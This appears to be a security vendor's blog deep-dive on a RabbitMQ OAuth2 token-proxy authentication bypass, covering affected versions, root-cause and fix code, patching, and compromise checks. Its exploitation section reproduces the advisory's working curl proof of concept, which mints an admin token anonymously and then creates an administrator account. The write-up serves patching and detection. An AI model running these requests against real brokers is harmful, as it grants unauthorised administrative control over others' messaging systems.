79% vs 51%: independent neobanks lag on app security. Read the report

Deep Dive

Deep Dive

RabbitMQ OAuth2 Proxy Auth Bypass (GHSA-cfvg-5q96-8mhm)

RabbitMQ 4.4.0's management OAuth2 proxy authenticates no caller, so anyone who can reach it can mint admin tokens; fixed in 4.4.1, 4.3.8 and 4.2.13.

TL;DR

  • The RabbitMQ management OAuth2 token proxy accepts unauthenticated requests and adds the broker's own client secret before forwarding them to the identity provider. An attacker can ask it for a privileged token.
  • Affected: RabbitMQ 4.4.0, 4.3.3 to 4.3.7 and 4.2.9 to 4.2.12 with management OAuth2 and a client secret. Fixed in 4.4.1, 4.3.8 and 4.2.13.
  • GitHub rates the flaw Critical, CVSS v4.0 9.1. The advisory carries a working proof of concept. No CVE is assigned, so there is no CISA KEV entry as of 2026-11-30.
  • Upgrade to 4.4.1, 4.3.8 or 4.2.13. If you cannot, remove management.oauth_client_secret or put authentication in front of the management port; see "How do I fix it?".

Am I affected?

A broker is exposed when it runs an affected release and its management plugin uses the documented OAuth2 single sign-on setup with a confidential client secret. All of these conditions must hold:

  • The broker runs RabbitMQ 4.4.0, 4.3.3 to 4.3.7 or 4.2.9 to 4.2.12.
  • The rabbitmq_management plugin is enabled and its HTTP listener is reachable from the attacker's network position, normally TCP port 15672.
  • management.oauth_enabled is true and management.oauth_client_secret is set, with an OAuth2 resource server configured for the management UI.
  • The identity provider grants the configured management client the scopes the attacker asks for. The advisory describes the reference OAuth2 setups, where the client receives administrator scopes.

The last condition is a property of the provider configuration, not of RabbitMQ. A provider that refuses client_credentials for this client, or limits its scopes, narrows the impact. It does not remove the missing authentication.

Branch Affected versions Fixed version
4.4.x 4.4.0 4.4.1
4.3.x 4.3.3 to 4.3.7 4.3.8
4.2.x 4.2.9 to 4.2.12 4.2.13

Read the running broker version and its OAuth2 settings:

rabbitmqctl version
grep -nE 'management\.oauth_enabled|management\.oauth_client_secret' /etc/rabbitmq/rabbitmq.conf

For a container, run the same version command inside it and check the image reference:

docker exec <container> rabbitmqctl version
docker inspect --format '{{.Config.Image}}' <container>

The management plugin does not carry a separate version. Its code ships with the broker, so the broker version is the version to compare against the table.

How do I fix it?

Upgrade to 4.4.1, 4.3.8 or 4.2.13. Each fixed release belongs to the same branch as the affected range, so choose the release that matches the branch you run.

  1. Export the broker definitions as a backup: rabbitmqctl export_definitions /tmp/definitions.json. For a container, copy the file to the host before recreating it: docker cp rabbitmq:/tmp/definitions.json ./definitions.json.
  2. For the official container, pull the fixed management image and recreate the container with a named volume. A stop and start of the old container keeps the vulnerable image: bash docker pull rabbitmq:4.4.1-management docker stop rabbitmq docker rm rabbitmq docker run -d --name rabbitmq -p 5672:5672 -p 15672:15672 -v rabbitmq-data:/var/lib/rabbitmq rabbitmq:4.4.1-management docker cp ./definitions.json rabbitmq:/tmp/definitions.json docker exec rabbitmq rabbitmqctl import_definitions /tmp/definitions.json
  3. For a Debian or Ubuntu host with the RabbitMQ apt repository, upgrade the package and restart the service: bash sudo apt-get update sudo apt-get install --only-upgrade rabbitmq-server sudo systemctl restart rabbitmq-server
  4. For Kubernetes, set the StatefulSet or Deployment image to rabbitmq:4.4.1-management and roll the pods.
  5. Verify the version and the listener after the restart: bash rabbitmqctl version rabbitmq-diagnostics status

If you cannot upgrade yet, the advisory gives two interim mitigations. Remove management.oauth_client_secret from the configuration. The token proxy then has no confidential client identity to lend an attacker, but the management UI's confidential-client login stops working until each client supplies its own secret.

Alternatively, put an authenticating reverse proxy in front of the management port. That hides the route from anonymous clients but leaves the vulnerable code running, so it is a stopgap, not a fix.

What is the root cause?

The management plugin registers the OAuth2 token-endpoint proxy as a public route. Its handler has no authentication callback, so the proxy runs for any network peer that can reach it. In RabbitMQ 4.4.0 the dispatcher builds the route without an authentication context:

build_oauth_token_proxy_routes(Prefix) ->
    Base = Prefix ++ "/js/oidc-oauth/token-endpoint/",
    [{Base ++ ":id", rabbit_mgmt_oauth_token_proxy, #{op => token}},
     {Base ++ ":id/openid-configuration", rabbit_mgmt_oauth_token_proxy, #{op => metadata}}].

Every authenticated management resource implements an is_authorized/3 callback. The token proxy module does not. Its handle_token function reads the request body, resolves the configured resource server, and forwards the form to the provider's token endpoint:

forward_token_request(Req0, State, Secret, MetadataURL, HttpOpts, DiscoveryOpts) ->
    case token_endpoint(MetadataURL, HttpOpts, DiscoveryOpts) of
        {ok, TokenEndpoint} ->
            {ok, Params, Req1} = cowboy_req:read_urlencoded_body(Req0),
            Body = uri_string:compose_query(inject_client_secret(Params, Secret)),
            case http_post(TokenEndpoint, Body, HttpOpts) of

The inject_client_secret function appends the broker's configured management.oauth_client_secret whenever the caller did not send one:

inject_client_secret(Params, Secret) ->
    case lists:keymember(<<"client_secret">>, 1, Params) of
        true -> Params;
        false -> Params ++ [{<<"client_secret">>, Secret}]
    end.

The proxy also relays every other form field unchanged, including grant_type and scope. That combination turns the broker into a confidential OAuth2 client that any anonymous caller can borrow. The bug is the missing caller authentication, not a parsing mistake.

How is it exploited?

The attack needs one unauthenticated POST to the proxy and a provider that honours the request. The advisory's proof of concept uses the official rabbitmq:4.4.0-management image.

  1. Choose a resource server id that exists on the broker. The advisory uses rabbitmq, the id in its example configuration.
  2. Send a client_credentials grant to the proxy with no Authorization header and no client secret: bash curl -s -X POST "http://HOST:15672/js/oidc-oauth/token-endpoint/rabbitmq" \ -d "grant_type=client_credentials" -d "client_id=my_spa_client"
  3. The proxy adds the broker's client secret and forwards the request. The provider returns a signed JWT with the scope it grants that client. In the advisory's reference setup the token is an administrator token.
  4. Confirm the privilege on the management API: bash curl -s "http://HOST:15672/api/whoami" -H "Authorization: Bearer <token>"
  5. Use the token to create a persistent administrator, as the advisory does: bash curl -s -X PUT "http://HOST:15672/api/users/poc" \ -H "Authorization: Bearer <token>" -H "content-type: application/json" \ -d '{"password":"Poc12345678!","tags":"administrator"}'
  6. Present the same JWT as the password in a SASL PLAIN handshake on the AMQP port. The advisory reports that full queue operations then succeed on every vhost.

The advisory notes that the provider still decides which scope it issues. The attack works against the documented reference setups because they grant the management client administrator scopes.

How does the attack flow?

An anonymous network peer borrows the broker's confidential OAuth2 client identity and turns one unauthenticated POST into an administrator token for both the management API and the AMQP listener.

flowchart LR A["Anonymous POST to token proxy"] --> B["No is_authorized callback"] B --> C["inject_client_secret adds broker secret"] C --> D["Provider issues admin-scoped JWT"] D --> E["Management API accepts token"] D --> F["AMQP accepts token as SASL password"] E --> G["Administrator account created"]

What can an attacker do?

An unauthenticated attacker with network access to the management port can obtain a token in the broker's client identity and use it on two planes. The advisory verified all of these outcomes in its test environment:

  • Mint a JWT with a scope the provider grants the management client, including administrator scope in the reference setup.
  • Read and change management state through the HTTP API, and create a persistent administrator account.
  • Authenticate to the AMQP 0-9-1 listener by putting the JWT in the SASL PLAIN password position. The advisory reports declare, publish, consume, purge and delete operations on any vhost.

The conditions are the ones in "Am I affected?". An attacker needs an affected release, a reachable management listener, the documented OAuth2 configuration, and a provider that grants the requested scope. An attacker who cannot reach the management port, or whose provider refuses the grant, does not get this outcome.

Why does the fix work?

The fix stops the anonymous endpoint from relaying the two grant types that mint tokens without a prior user login. It restricts the proxy to authorization_code and refresh_token, which are the grants the management UI itself uses. The relevant part of PR #17937:

 forward_token_request(Req0, State, Secret, MetadataURL, HttpOpts, DiscoveryOpts) ->
-    case token_endpoint(MetadataURL, HttpOpts, DiscoveryOpts) of
-        {ok, TokenEndpoint} ->
-            {ok, Params, Req1} = cowboy_req:read_urlencoded_body(Req0),
+    case rabbit_mgmt_util:read_urlencoded_body(Req0) of
+        {ok, Params, Req1} ->
+            case check_grant_type(Params) of
+                ok ->
+                    relay_token_request(Req1, State, Params, Secret, MetadataURL,
+                                        HttpOpts, DiscoveryOpts);
+                {error, Error} ->
+                    reply_token_error(400, Error, Req1, State)
+            end;
+        {error, malformed_body} ->
+            reply_token_error(400, <<"invalid_request">>, Req0, State)
+    end.
+
+check_grant_type(Params) ->
+    case [Value || {<<"grant_type">>, Value} <- Params] of
+        [<<"authorization_code">>] -> ok;
+        [<<"refresh_token">>] -> ok;
+        [Value] when is_binary(Value) -> {error, <<"unsupported_grant_type">>};
+        _ -> {error, <<"invalid_request">>}
+    end.

The check refuses client_credentials and password before the request reaches the provider. An anonymous caller can no longer ask the broker to mint a token in its own client identity. It also refuses a repeated grant_type field, because a provider might honour a different occurrence than the one the proxy inspected.

The same PR rejects malformed form bodies, which previously caused a crash report that logged the request body, credentials included.

The patch closes the token-minting path. It does not add an is_authorized/3 callback to the route, so the endpoint still accepts anonymous requests for the two permitted grants. That is intended: an authorization-code or refresh-token request needs the provider's own login step before it returns a token.

How do I check if I was compromised?

Start with the broker's user list. A new administrator account that nobody on the team created is the clearest sign of the proof-of-concept step:

rabbitmqctl list_users
rabbitmqctl list_permissions -p /

Look for POST requests to the token proxy in your reverse-proxy or management access logs. The route is specific enough that a hit is worth investigating:

grep -R "js/oidc-oauth/token-endpoint" /var/log/rabbitmq /var/log/nginx 2>/dev/null

Ask the identity provider for token issuance to the management client. A client_credentials grant from the broker's client id at a time when no operator was logging in is a lead. The advisory publishes no indicators of compromise, so an attempt that the provider refused may leave no trace in RabbitMQ itself.

Timeline

  • 2026-10-21: The two fix commits are authored on the loic-r-mgmt-token-proxy-grant-types branch.
  • 2026-10-22: PR #17937 is merged into main.
  • 2026-11-27: The RabbitMQ project publishes advisory GHSA-cfvg-5q96-8mhm.

Timeline of the fix and disclosure
Figure 1: The fix was merged more than a month before the advisory published it. Source: GHSA-cfvg-5q96-8mhm and PR #17937, checked November 30, 2026

FAQ

Does this affect RabbitMQ brokers without OAuth2?

No. The vulnerable route exists only when the management plugin's OAuth2 integration is configured. A broker that uses the internal database, LDAP or another backend without management.oauth_enabled does not expose the token proxy in the affected form.

Is there a CVE?

No. The RabbitMQ advisory has no CVE id. That also means the flaw cannot appear in the CISA Known Exploited Vulnerabilities catalog, which is keyed on CVE ids.

Why does the attacker need a provider that grants administrator scope?

The proxy forwards the grant, but the provider decides the token's scope. If the management client is limited to a low-privilege scope, the minted token carries that scope. The advisory's reference setups grant administrator scope, which is why it calls the outcome an administrator takeover.

Can I keep the OAuth2 login and still mitigate without upgrading?

You can only remove the confidential client secret or block anonymous access to the management port with a reverse proxy. Removing the secret breaks the proxy login flow for clients that relied on it. Both reduce exposure. Neither replaces the fix.

Does the fix change how the management UI logs in?

No. The management UI uses the authorization-code and refresh-token grants, and those remain permitted. The fix only removes the grants that the UI does not use.

Find exposed RabbitMQ management interfaces with Ostorlab

Ostorlab's web agentic deep scan exercises web applications and APIs, including management interfaces. It shows which of them are reachable and how their authentication behaves. Use it to inventory the RabbitMQ management surfaces your teams expose before you patch them.

References

  • RabbitMQ security advisory GHSA-cfvg-5q96-8mhm, "Unauthenticated OAuth2 token-endpoint proxy allows anonymous privileged token minting" (checked November 30, 2026): https://github.com/rabbitmq/rabbitmq-server/security/advisories/GHSA-cfvg-5q96-8mhm
  • RabbitMQ pull request #17937, "Improve OAuth 2 login", merged 2026-10-22 (checked November 30, 2026): https://github.com/rabbitmq/rabbitmq-server/pull/17937
  • RabbitMQ 4.4.0 management dispatcher source, rabbit_mgmt_dispatcher.erl (checked November 30, 2026): https://github.com/rabbitmq/rabbitmq-server/blob/v4.4.0/deps/rabbitmq_management/src/rabbit_mgmt_dispatcher.erl
  • RabbitMQ 4.4.0 OAuth2 token proxy source, rabbit_mgmt_oauth_token_proxy.erl (checked November 30, 2026): https://github.com/rabbitmq/rabbitmq-server/blob/v4.4.0/deps/rabbitmq_management/src/rabbit_mgmt_oauth_token_proxy.erl
  • Docker Hub pull count for the official library/rabbitmq image (checked November 30, 2026): https://hub.docker.com/v2/repositories/library/rabbitmq/

Free scan

Scan your own app for free

or book a demo

Keep reading

Related articles

Browse the blog